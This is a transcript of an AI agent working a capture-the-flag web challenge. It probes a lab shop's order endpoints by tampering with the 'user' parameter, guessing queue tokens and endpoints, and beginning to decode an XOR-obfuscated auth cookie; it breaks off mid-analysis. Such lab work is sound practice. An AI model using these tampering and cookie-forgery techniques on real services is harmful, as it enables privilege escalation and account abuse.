"output": "Todos have been modified successfully. Ensure that you continue to use the todo list to track your progress. Please proceed with the current tasks if applicable\n\n<system-reminder>\nYour todo list has changed. DO NOT mention this explicitly to the user. Here are the latest contents of your todo list: \n\n[{\"id\":\"1\",\"content\":\"Explore the Kramazon website structure and understand the checkout workflow\",\"status\":\"completed\"},{\"id\":\"2\",\"content\":\"Analyze authentication and user account levels (elf vs Santa)\",\"status\":\"completed\"},{\"id\":\"3\",\"content\":\"Identify potential implementation flaws in the checkout system\",\"status\":\"in_progress\"},{\"id\":\"4\",\"content\":\"Test for privilege escalation to Santa-priority shipping\",\"status\":\"pending\"},{\"id\":\"5\",\"content\":\"Obtain Priority Route Manifest and extract the flag\",\"status\":\"pending\"}]. Continue on with the tasks at hand if applicable.\n</system-reminder>"
}
}✨ ## MODEL
Now let me test the full flow manually to see what happens. I'll simulate the JavaScript flow.Tool Command:
{
"id": "call_00_XBdjICZSEtDmHLfvJoESm3qZ",
"name": "run_shell_command",
"args": {
"command": "curl -s -X POST \"https://kramazon.csd.lol/create-order\" -H \"Content-Type: application/json\" | tee /tmp/order.json",
"is_background": false,
"description": "Create an order and save the response"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_XBdjICZSEtDmHLfvJoESm3qZ",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s -X POST \"https://kramazon.csd.lol/create-order\" -H \"Content-Type: application/json\" | tee /tmp/order.json\nDirectory: (root)\nOutput: {\"order_id\":\"87110222\",\"status\":\"pending\",\"callback_url\":\"/status/queue/0f2a4a644937dbf7.json\"}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786535\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Now wait 3 seconds and check the callback URL:Tool Command:
{
"id": "call_00_ciVZXFI6XF7Jc6Vm3MxFvMZt",
"name": "run_shell_command",
"args": {
"command": "sleep 3 && curl -s \"https://kramazon.csd.lol/status/queue/0f2a4a644937dbf7.json\" | tee /tmp/status.json",
"is_background": false,
"description": "Check order status after 3 seconds"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_ciVZXFI6XF7Jc6Vm3MxFvMZt",
"name": "run_shell_command",
"response": {
"output": "Command: sleep 3 && curl -s \"https://kramazon.csd.lol/status/queue/0f2a4a644937dbf7.json\" | tee /tmp/status.json\nDirectory: (root)\nOutput: {\"internal\":{\"order\":\"87110222\",\"priority\":false},\"public\":{\"queue_position\":2,\"estimated_cost\":16.25}}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786554\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Now wait 1 more second and try to finalize with user: status.internal.user (which would be undefined):Tool Command:
{
"id": "call_00_xwwXbuC9b3XW3nHWCDKQw34g",
"name": "run_shell_command",
"args": {
"command": "sleep 1 && curl -s -X POST \"https://kramazon.csd.lol/finalize\" -H \"Content-Type: application/json\" -d '{\"user\": null, \"order\": \"87110222\"}'",
"is_background": false,
"description": "Test finalize with null user (simulating undefined internal.user)"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_xwwXbuC9b3XW3nHWCDKQw34g",
"name": "run_shell_command",
"response": {
"output": "Command: sleep 1 && curl -s -X POST \"https://kramazon.csd.lol/finalize\" -H \"Content-Type: application/json\" -d '{\"user\": null, \"order\": \"87110222\"}'\nDirectory: (root)\nOutput: {\"success\":true,\"message\":\"Order 87110222 finalized for user 3921.\",\"priority\":false}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786594\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Interesting! It says "Order 87110222 finalized for user 3921." So even with user: null, it assigned me user 3921. And priority: false.
Now I need to think about the flaw. The challenge says "customers with ordinary elf-level accounts have somehow been able to receive Santa-priority shipping status". So maybe:
1. Elf accounts have internal.user = 0 or some other value
2. Santa accounts have internal.user = 1
3. The bug is that we can manipulate something to get internal.user = 1
But the server doesn't return internal.user at all! It returns internal.priority. Maybe internal.user is computed from something else? Or maybe the JavaScript is wrong and should check internal.priority instead?
Wait, let me check if internal.priority is what determines Santa status. If internal.priority is true, maybe that means Santa priority shipping?
But in the response, internal.priority is false. Let me think about the santaMagic function again. It XORs with 0x37. What if we need to XOR something to get the right value?
Actually, looking more carefully at the JavaScript: it defines santaMagic but never calls it. What if the server expects us to use santaMagic on something? Or what if internal.user should be computed using santaMagic?
Let me check if there's any other field in the response that we could apply santaMagic to. The callback URL filename is 0f2a4a644937dbf7.json. What if we need to XOR parts of this?
Actually, wait! I just realized something. The JavaScript says if (status.internal.user === 1). But what if status.internal.user is not in the JSON response, but we can add it? What if the server doesn't validate the JSON structure properly and we can inject our own internal.user field?
Let me try to intercept or modify the status response. But we can't modify server responses. However, maybe we can control the callback URL somehow?
Actually, let me look at the callback URL pattern: /status/queue/0f2a4a644937dbf7.json. What if this filename is actually an encoded value? What if 0f2a4a644937dbf7 needs to be processed with santaMagic to get something?
Let me think about XOR properties. XOR is reversible: (a ^ b) ^ b = a. So if santaMagic(n) = n ^ 0x37, then to get n = 1 (Santa), we need santaMagic(n) = 1 ^ 0x37 = 0x36 (54 in decimal).
So if the server expects santaMagic(user_id) where user_id = 1 for Santa, then it would expect the value 0x36. But where would this value be?
Hmm, let me check if the order_id or callback URL contains hex values that could be related. The order_id is 87110222 (not hex). The callback filename is 0f2a4a644937dbf7 (hex).
What if we need to create a callback URL with a specific value? But we don't control the callback URL - the server generates it.
Wait! What if the flaw is in the finalize endpoint? It accepts user parameter. What if we can send user: 1 to pretend to be Santa?
Let me test that:Tool Command:
{
"id": "call_00_A8jE1gjaS16hPtzTTSu4MYjn",
"name": "run_shell_command",
"args": {
"command": "curl -s -X POST \"https://kramazon.csd.lol/create-order\" -H \"Content-Type: application/json\" | tee /tmp/order2.json",
"is_background": false,
"description": "Create another order for testing"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_A8jE1gjaS16hPtzTTSu4MYjn",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s -X POST \"https://kramazon.csd.lol/create-order\" -H \"Content-Type: application/json\" | tee /tmp/order2.json\nDirectory: (root)\nOutput: {\"order_id\":\"0510746c\",\"status\":\"pending\",\"callback_url\":\"/status/queue/ec69e5603f624704.json\"}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786675\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Tool Command:
{
"id": "call_00_Lr7NX6qS8HhdzBuygJBVEw5K",
"name": "run_shell_command",
"args": {
"command": "sleep 3 && curl -s \"https://kramazon.csd.lol/status/queue/ec69e5603f624704.json\"",
"is_background": false,
"description": "Check status for the new order"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_Lr7NX6qS8HhdzBuygJBVEw5K",
"name": "run_shell_command",
"response": {
"output": "Command: sleep 3 && curl -s \"https://kramazon.csd.lol/status/queue/ec69e5603f624704.json\"\nDirectory: (root)\nOutput: {\"internal\":{\"order\":\"0510746c\",\"priority\":false},\"public\":{\"queue_position\":2,\"estimated_cost\":16.25}}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786692\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Now let me try to finalize with user: 1:Tool Command:
{
"id": "call_00_kIapHLIpXL1SzvzyvaO7OCmy",
"name": "run_shell_command",
"args": {
"command": "sleep 1 && curl -s -X POST \"https://kramazon.csd.lol/finalize\" -H \"Content-Type: application/json\" -d '{\"user\": 1, \"order\": \"0510746c\"}'",
"is_background": false,
"description": "Test finalize with user=1 (Santa)"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_kIapHLIpXL1SzvzyvaO7OCmy",
"name": "run_shell_command",
"response": {
"output": "Command: sleep 1 && curl -s -X POST \"https://kramazon.csd.lol/finalize\" -H \"Content-Type: application/json\" -d '{\"user\": 1, \"order\": \"0510746c\"}'\nDirectory: (root)\nOutput: {\"success\":true,\"message\":\"Order 0510746c finalized for user 3921.\",\"priority\":false}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786718\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Still user 3921 and priority false. So the server is ignoring our user parameter or overriding it. Maybe the server determines user from something else (session, IP, etc.).
Let me think about this differently. The JavaScript has santaMagic function that's never used. What if the server expects the user field to be XORed with 0x37? What if we need to send user: santaMagic(1) = 1 ^ 0x37 = 0x36 = 54?Tool Command:
{
"id": "call_00_Nj5Xgb8j6wsmp4YIKOxDB9Ew",
"name": "run_shell_command",
"args": {
"command": "curl -s -X POST \"https://kramazon.csd.lol/create-order\" -H \"Content-Type: application/json\" | tee /tmp/order3.json",
"is_background": false,
"description": "Create another order for testing XOR approach"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_Nj5Xgb8j6wsmp4YIKOxDB9Ew",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s -X POST \"https://kramazon.csd.lol/create-order\" -H \"Content-Type: application/json\" | tee /tmp/order3.json\nDirectory: (root)\nOutput: {\"order_id\":\"33e946e6\",\"status\":\"pending\",\"callback_url\":\"/status/queue/b46cb8987f07344c.json\"}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786747\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Tool Command:
{
"id": "call_00_jruT1ktDVunn51HKYoJ97koT",
"name": "run_shell_command",
"args": {
"command": "sleep 3 && curl -s \"https://kramazon.csd.lol/status/queue/b46cb8987f07344c.json\"",
"is_background": false,
"description": "Check status"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_jruT1ktDVunn51HKYoJ97koT",
"name": "run_shell_command",
"response": {
"output": "Command: sleep 3 && curl -s \"https://kramazon.csd.lol/status/queue/b46cb8987f07344c.json\"\nDirectory: (root)\nOutput: {\"internal\":{\"order\":\"33e946e6\",\"priority\":false},\"public\":{\"queue_position\":2,\"estimated_cost\":16.25}}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786775\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Now try with user: 54 (0x36):Tool Command:
{
"id": "call_00_ooLGOCVQikbFDEt0oiEo7zMF",
"name": "run_shell_command",
"args": {
"command": "sleep 1 && curl -s -X POST \"https://kramazon.csd.lol/finalize\" -H \"Content-Type: application/json\" -d '{\"user\": 54, \"order\": \"33e946e6\"}'",
"is_background": false,
"description": "Test finalize with user=54 (1 ^ 0x37)"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_ooLGOCVQikbFDEt0oiEo7zMF",
"name": "run_shell_command",
"response": {
"output": "Command: sleep 1 && curl -s -X POST \"https://kramazon.csd.lol/finalize\" -H \"Content-Type: application/json\" -d '{\"user\": 54, \"order\": \"33e946e6\"}'\nDirectory: (root)\nOutput: {\"success\":true,\"message\":\"Order 33e946e6 finalized for user 3921.\",\"priority\":false}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786801\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Still user 3921. The server is definitely ignoring our user parameter. It must be getting the user ID from somewhere else (maybe session, IP, or the order itself).
Let me look at the order_id pattern. They look like hex strings: 3d1ef19c, 87110222, 0510746c, 33e946e6. Actually 87110222 doesn't look like hex (has digit 8 and 7 but also 1s and 0s and 2s). Let me check if they're all 8 characters.
Actually, wait! I just had a thought. What if the bug is that we can access other users' callback URLs? The callback URL contains what looks like a random hex string. What if we can brute-force or guess other callback URLs and see their internal.priority status?
But the challenge says "Blind brute-force request sending can trigger Cloudflare rate limits." So we need to be careful.
Actually, let me re-examine the JavaScript more carefully. The santaMagic function is defined inside the click handler, right after getting the status. But it's never called. What if it was meant to be used like this: if (santaMagic(status.internal.user) === 1) or something?
Or what if internal.user is supposed to be XORed with 0x37 when sent to the server? But we already tried that.
Let me look at the actual values again. The callback filename is b46cb8987f07344c.json. What if part of this is an encoded user ID?
Actually, I just realized something! The JavaScript checks if (status.internal.user === 1). But what if internal.user is not a number but needs to be processed? What if internal.user is actually the XORed value, and we need to check if (santaMagic(status.internal.user) === 1)?
So if the server sends internal.user: 0x36 (54), then santaMagic(0x36) = 0x36 ^ 0x37 = 1! That would make sense!
But the server doesn't send internal.user at all. It sends internal.priority. What if there's a mistake and the server should send internal.user but sends internal.priority instead?
Or what if internal.priority is actually the XORed user value? Let me test: if internal.priority is false (0 in JavaScript), then santaMagic(0) = 0 ^ 0x37 = 0x37 = 55, not 1.
What if we need to look at the order_id? The order_id 33e946e6 in hex is 0x33e946e6. XOR with 0x37 gives 0x33e946d1. Not 1.
Wait, let me check something else. What if the bug is that we can directly access the finalize endpoint without going through the callback check? Or what if we can finalize someone else's order?
Actually, I just noticed something in the JavaScript. It sends to /finalize with:
{
"user": status.internal.user,
"order": order.order_id
}But status.internal.user would be undefined! So it would send {"user": undefined, "order": "..."}. In JSON, undefined becomes null. So it sends user: null.
But when we sent user: null, the server said "finalized for user 3921". So the server assigns a user ID (3921 in my case). This must be my elf account ID.
The challenge says elf-level accounts can get Santa-priority shipping. So maybe user 3921 is an elf account, and we need to make it get Santa priority.
How does the server determine priority? From the response, we see "priority":false. Maybe it's based on the user ID? Or maybe it's based on something in the order or callback?
Let me check if different orders have different callback filenames. They all seem to be 16-character hex strings. Let me see if there's a pattern.
Actually, I just had another idea! What if the santaMagic function is a hint that we need to XOR something with 0x37 to get the right value? What if the user ID 3921 needs to be XORed with something?
3921 ^ 0x37 = 3921 ^ 55 = 3974. Let me try that.
But wait, we need to think about what value to send. The server seems to ignore our user parameter and uses its own user ID (3921). So we can't control the user ID.
Maybe we need to control something else. What about the order_id? Can we create an order with a specific ID?
Or what if we need to manipulate the callback URL? The callback URL determines the status response. What if we can create a callback URL that returns internal.priority: true?
Actually, let me check if the callback filename is predictable. Let me create a few more orders to see the pattern.Tool Command:
{
"id": "call_00_QkO2yN2FvpkR7Fk4iVMeW7mR",
"name": "run_shell_command",
"args": {
"command": "for i in {1..3}; do curl -s -X POST \"https://kramazon.csd.lol/create-order\" -H \"Content-Type: application/json\" | jq -r '.callback_url'; sleep 1; done",
"is_background": false,
"description": "Create multiple orders to see callback URL patterns"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_QkO2yN2FvpkR7Fk4iVMeW7mR",
"name": "run_shell_command",
"response": {
"output": "Command: for i in {1..3}; do curl -s -X POST \"https://kramazon.csd.lol/create-order\" -H \"Content-Type: application/json\" | jq -r '.callback_url'; sleep 1; done\nDirectory: (root)\nOutput: /status/queue/5a3151c90f116e84.json\n/status/queue/40abc4a7e553fcb6.json\n/status/queue/8af722ab7ae3c07b.json\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786897\nProcess Group PGID: (none)"
}
}✨ ## MODEL
All different 16-character hex strings. They look random. But what if they're not random? What if they encode something?
Let me think about this from a different angle. The challenge is about an "implementation flaw" in the checkout system. The JavaScript has a bug: it expects status.internal.user but the server returns status.internal.priority.
What if the flaw is that the client-side JavaScript is checking the wrong field? What if we need to make the server return internal.user instead of internal.priority? Or what if we need to make internal.priority be true?
Actually, looking at the status response again:
{"internal":{"order":"33e946e6","priority":false},"public":{"queue_position":2,"estimated_cost":16.25}}The priority is false. What if Santa users get priority: true? And what if we can somehow get priority: true as an elf?
But how? The server determines priority based on something. Maybe based on the user ID? Or maybe based on the order ID? Or maybe based on the callback filename?
Actually, I just realized something! The callback filename is a 16-character hex string. That's 64 bits. What if it contains encoded information about the user and priority?
Let me decode one of them and see if there's a pattern. b46cb8987f07344c in binary is 64 bits. Maybe bits 0-31 are order ID, bits 32-63 are user info? Or maybe it contains a user ID and a priority flag?
Actually, let me check the order ID 33e946e6 (8 chars hex = 32 bits) and callback b46cb8987f07344c (16 chars hex = 64 bits). Not directly related.
Wait! What if the callback filename is santaMagic(user_id || order_id || priority) or something? XORed with 0x37?
Actually, XOR with 0x37 is a byte-wise operation. 0x37 is 1 byte. XORing a 64-bit value with 0x37 only affects the last byte (or could be applied byte-by-byte).
Let me think about this more systematically. We have:
1. santaMagic(n) = n ^ 0x37 function defined but not used
2. JavaScript checks if (status.internal.user === 1)
3. Server returns internal.priority not internal.user
4. Server assigns user ID 3921 (elf account)
5. We need to get Santa priority shipping
What if the bug is that the server uses internal.priority to determine user level, but the JavaScript checks internal.user? So Santa users would have internal.priority: true and internal.user: 1 (or some value), but elf users have internal.priority: false and no internal.user field?
But we can't modify server responses. Unless... what if we can inject our own status response? No, that doesn't make sense.
Actually, wait! What if the flaw is in the finalize endpoint? What if it checks for Santa status differently than the JavaScript? What if it uses the santaMagic function?
The finalize endpoint receives user and order. What if it does santaMagic(user) === 1 to check for Santa? Then we would need to send user: 0x36 (54).
But we tried that and it didn't work. The server ignored our user parameter.
Unless... what if we need to send the XORed value in a different field? Or what if we need to XOR the order_id?
Let me try XORing the order_id with 0x37. Order_id 33e946e6 in hex is 0x33e946e6. XOR with 0x37 gives 0x33e946d1. But order_id is a string, not a number.
Actually, let me check if order_id is always 8 characters. They seem to be: 3d1ef19c, 87110222, 0510746c, 33e946e6. 87110222 is not valid hex (contains '8', '7', '2'). So maybe it's not hex but some other encoding.
Wait, 87110222 - if this were hex, it would be 0x87110222. But hex digits are 0-9, A-F. '8' and '7' are valid hex digits! '2' is also valid. So 87110222 IS valid hex! It's 0x87110222.
So all order_ids are 8-character hex strings (32 bits). Callback filenames are 16-character hex strings (64 bits).
What if the callback filename is santaMagic(user_id_32_bits || order_id_32_bits)? That would be 64 bits.
If user_id = 3921 (elf), that's 0x00000f51 in hex (32 bits). Concatenated with order_id 0x33e946e6 gives 0x00000f5133e946e6. XOR with 0x37 byte-wise... hmm.
Actually, XOR with 0x37 applied to each byte would be different. Let me compute 0x00000f5133e946e6 ^ 0x3737373737373737 (repeating 0x37).
But this is getting complex. Let me think about the actual bug again. The challenge says it's a "subtle implementation flaw" that allows elf accounts to get Santa-priority shipping.
The JavaScript has a clear bug: it expects internal.user but the server doesn't provide it. What if the server USED to provide internal.user but now provides internal.priority, and the JavaScript wasn't updated?
Or what if internal.priority is actually the XORed internal.user value? For Santa, internal.user = 1, so santaMagic(1) = 0x36 = 54. So internal.priority would be 54 (or 0x36), not true.
But the server returns internal.priority: false (boolean), not a number.
Actually, false in JSON is a boolean. In JavaScript, false == 0 and true == 1. So internal.priority: true would be like internal.user: 1!
What if the bug is that the server stores priority as boolean (true/false) but the JavaScript expects it as internal.user (0/1)? And true == 1 in JavaScript loose equality!
So if we can get internal.priority: true, then status.internal.priority === 1 would be true (since true == 1 but true !== 1). The JavaScript uses === strict equality, so it wouldn't match.
But wait, the JavaScript checks status.internal.user === 1, not status.internal.priority === 1.
I'm going in circles. Let me actually look at the problem from a web security perspective. What are common implementation flaws in checkout systems?
- IDOR (Insecure Direct Object Reference) - we can access other users' orders
- Business logic flaws - we can skip steps or modify values
- Authentication bypass - we can impersonate other users
- Parameter tampering - we can modify parameters that the server doesn't validate properly
We already tried parameter tampering (changing user parameter) and it didn't work.
What about IDOR? Can we access other callback URLs? Let me try a simple one.Tool Command:
{
"id": "call_00_FRgDV67djb0n0HmCicMOUDAV",
"name": "run_shell_command",
"args": {
"command": "curl -s \"https://kramazon.csd.lol/status/queue/0000000000000000.json\"",
"is_background": false,
"description": "Test if we can access arbitrary callback URLs"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_FRgDV67djb0n0HmCicMOUDAV",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s \"https://kramazon.csd.lol/status/queue/0000000000000000.json\"\nDirectory: (root)\nOutput: {\"error\":\"Unknown queue token\"}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787107\nProcess Group PGID: (none)"
}
}✨ ## MODEL
So we need a valid token. But maybe we can brute-force or guess tokens? The challenge warns about rate limits.
Actually, let me check if the token is related to the order_id. Order_id 33e946e6 and callback b46cb8987f07344c. No obvious relationship.
Wait! What if the callback token is santaMagic(order_id || user_id)? Or santaMagic(user_id || order_id)?
Let me compute santaMagic(3921) where 3921 is my user ID. 3921 ^ 0x37 = 3974 (0x0f86). Not related to callback.
Actually, I just realized I should check what the actual priority route manifest is. The challenge says "Kramazon will reveal its restricted Priority Route Manifest, which contains the flag." So after we get Santa priority shipping, we should get access to some manifest.
Maybe there's a /manifest or /priority-route endpoint? Let me check.Tool Command:
{
"id": "call_00_tBfckpftLuvTUg1FPjR38jAP",
"name": "run_shell_command",
"args": {
"command": "curl -s \"https://kramazon.csd.lol/manifest\"",
"is_background": false,
"description": "Check for manifest endpoint"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_tBfckpftLuvTUg1FPjR38jAP",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s \"https://kramazon.csd.lol/manifest\"\nDirectory: (root)\nOutput: <!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot GET /manifest</pre>\n</body>\n</html>\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787165\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Tool Command:
{
"id": "call_00_KeAeTdTOOJh2oPGRSUUWbj4g",
"name": "run_shell_command",
"args": {
"command": "curl -s \"https://kramazon.csd.lol/priority-route\"",
"is_background": false,
"description": "Check for priority-route endpoint"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_KeAeTdTOOJh2oPGRSUUWbj4g",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s \"https://kramazon.csd.lol/priority-route\"\nDirectory: (root)\nOutput: <!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot GET /priority-route</pre>\n</body>\n</html>\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787228\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Let me go back to the JavaScript and trace through the logic more carefully. Actually, let me get the full JavaScript to see if there's more code I missed.Tool Command:
{
"id": "call_00_JE2SHaPeher5CerYy2nPX6zG",
"name": "run_shell_command",
"args": {
"command": "curl -s \"https://kramazon.csd.lol/script.js\" | wc -l",
"is_background": false,
"description": "Check JavaScript file size"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_JE2SHaPeher5CerYy2nPX6zG",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s \"https://kramazon.csd.lol/script.js\" | wc -l\nDirectory: (root)\nOutput: 113\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787264\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Tool Command:
{
"id": "call_00_QcserDQBWQ7tOvTAJNA0dnjk",
"name": "run_shell_command",
"args": {
"command": "curl -s \"https://kramazon.csd.lol/script.js\" | tail -20",
"is_background": false,
"description": "Check end of JavaScript file"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_QcserDQBWQ7tOvTAJNA0dnjk",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s \"https://kramazon.csd.lol/script.js\" | tail -20\nDirectory: (root)\nOutput: setTimeout(async () => {\n const finalizeRes = await fetch(\"/finalize\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({\n user: status.internal.user,\n order: order.order_id,\n }),\n });\n\n const finalize = await finalizeRes.json();\n console.log(\"Finalize response:\", finalize);\n\n alert(\"Order completed. Thank you for your support to Krampus Syndicate!\");\n }, 1000);\n }, 3000);\n } catch (err) {\n console.error(\"Error in workflow:\", err);\n }\n});\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787305\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Let me get the full JavaScript to analyze it properly.Tool Command:
{
"id": "call_00_4voLeRnso3r7llxvlh1B98gn",
"name": "run_shell_command",
"args": {
"command": "curl -s \"https://kramazon.csd.lol/script.js\" > /tmp/script.js && cat /tmp/script.js",
"is_background": false,
"description": "Download and view full JavaScript"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_4voLeRnso3r7llxvlh1B98gn",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s \"https://kramazon.csd.lol/script.js\" > /tmp/script.js && cat /tmp/script.js\nDirectory: (root)\nOutput: document.addEventListener(\"DOMContentLoaded\", function () {\n // Hero Slider Logic\n const slides = document.querySelectorAll(\".slide\");\n const prevBtn = document.getElementById(\"prevBtn\");\n const nextBtn = document.getElementById(\"nextBtn\");\n let currentSlide = 0;\n let slideInterval;\n\n function showSlide(index) {\n slides.forEach((slide, i) => {\n slide.classList.remove(\"active\");\n if (i === index) {\n slide.classList.add(\"active\");\n }\n });\n }\n\n function nextSlide() {\n currentSlide = (currentSlide + 1) % slides.length;\n showSlide(currentSlide);\n }\n\n function prevSlide() {\n currentSlide = (currentSlide - 1 + slides.length) % slides.length;\n showSlide(currentSlide);\n }\n\n function startSlideShow() {\n slideInterval = setInterval(nextSlide, 5000); // Change slide every 5 seconds\n }\n\n function stopSlideShow() {\n clearInterval(slideInterval);\n }\n\n nextBtn.addEventListener(\"click\", () => {\n nextSlide();\n stopSlideShow();\n startSlideShow();\n });\n\n prevBtn.addEventListener(\"click\", () => {\n prevSlide();\n stopSlideShow();\n startSlideShow();\n });\n\n showSlide(currentSlide);\n startSlideShow();\n\n // Back to Top button\n const backToTopBtn = document.getElementById(\"backToTopBtn\");\n backToTopBtn.addEventListener(\"click\", () => {\n window.scrollTo({\n top: 0,\n behavior: \"smooth\",\n });\n });\n});\n\n// :)\n(async () => {\n const response = await fetch(\"https://ipapi.co/json/\");\n const data = await response.json();\n\n const locationElement = document.getElementById(\"location\");\n\n locationElement.textContent = `${data.city}, ${data.postal}`;\n})();\n\ndocument.getElementById(\"order\").addEventListener(\"click\", async () => {\n try {\n console.log(\"Creating order...\");\n\n const createRes = await fetch(\"/create-order\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n });\n const order = await createRes.json();\n\n console.log(\"[*] Waiting for status callback...\");\n setTimeout(async () => {\n const callbackRes = await fetch(order.callback_url);\n const status = await callbackRes.json();\n\n function santaMagic(n) {\n return n ^ 0x37; // TODO: remove in production\n }\n\n if (status.internal.user === 1) {\n alert(\"Welcome, Santa! Allowing priority finalize...\");\n }\n\n setTimeout(async () => {\n const finalizeRes = await fetch(\"/finalize\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({\n user: status.internal.user,\n order: order.order_id,\n }),\n });\n\n const finalize = await finalizeRes.json();\n console.log(\"Finalize response:\", finalize);\n\n alert(\"Order completed. Thank you for your support to Krampus Syndicate!\");\n }, 1000);\n }, 3000);\n } catch (err) {\n console.error(\"Error in workflow:\", err);\n }\n});\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787330\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Now I see the full code. The santaMagic function is defined but never called. The code checks if (status.internal.user === 1) but status.internal.user doesn't exist in the server response.
This is definitely a bug! The JavaScript expects a field that doesn't exist. When status.internal.user is undefined, the code sends user: undefined (which becomes null in JSON) to /finalize.
But the server seems to handle user: null by assigning a user ID (3921 in my case). And it returns priority: false.
What if the bug is that we can inject internal.user into the status response? No, we can't modify server responses.
Wait! What if the bug is that the server doesn't validate the callback URL properly? What if we can make our own callback URL that returns {"internal": {"user": 1}}?
But we need the server to fetch our callback URL. The server doesn't fetch it - the client (browser) fetches it. So we would need to control the client-side JavaScript, which we don't.
Actually, wait! The client fetches order.callback_url. What if callback_url is not validated and we can set it to something we control? But callback_url is returned by the server in /create-order response.
Unless... what if there's an SSRF (Server-Side Request Forgery) vulnerability? What if the server fetches the callback URL on the backend? No, the JavaScript shows the client fetches it.
Let me think about this differently. The santaMagic function XORs with 0x37. XOR is symmetric. If santaMagic(n) = n ^ 0x37, then n = santaMagic(n) ^ 0x37.
What if the server stores santaMagic(user_id) and the client is supposed to XOR it back? But the client doesn't call santaMagic.
Or what if the server expects the client to send santaMagic(user_id) in the user field? Then for Santa (user_id=1), it would expect user: 0x36 (54).
But we tried sending user: 54 and it didn't work. The server ignored it.
Actually, I just realized something! When we send user: null, the server says "finalized for user 3921". That's our elf user ID. What if user 3921 is elf, and user 1 is Santa?
What if we need to make the server think we're user 1? But the server determines user from session/IP/cookie.
Wait, what about cookies? Let me check if there are any cookies.Tool Command:
{
"id": "call_00_TW5LVCR6FLXtvCpbZGZA1VtK",
"name": "run_shell_command",
"args": {
"command": "curl -s -I \"https://kramazon.csd.lol/\" | grep -i set-cookie",
"is_background": false,
"description": "Check for cookies in response headers"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_TW5LVCR6FLXtvCpbZGZA1VtK",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s -I \"https://kramazon.csd.lol/\" | grep -i set-cookie\nDirectory: (root)\nOutput: set-cookie: auth=BA4FBg%3D%3D; Path=/; SameSite=Lax\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787385\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Ah! There's a cookie auth=BA4FBg%3D%3D. That's base64 encoded (%3D%3D is == URL-encoded). BA4FBg== in base64. This might be our authentication token!
What if this cookie contains our user ID? And what if it's XORed with 0x37? Let me decode it.Tool Command:
{
"id": "call_00_8CNAdFeBTDPBRxpF5RnKbn0j",
"name": "run_shell_command",
"args": {
"command": "echo \"BA4FBg==\" | base64 -d | xxd",
"is_background": false,
"description": "Decode the auth cookie"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_8CNAdFeBTDPBRxpF5RnKbn0j",
"name": "run_shell_command",
"response": {
